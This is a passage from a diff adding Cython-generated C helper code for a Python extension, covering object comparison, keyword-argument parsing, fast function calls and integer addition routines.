0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* JoinPyUnicode */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* PyIntBinop */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", 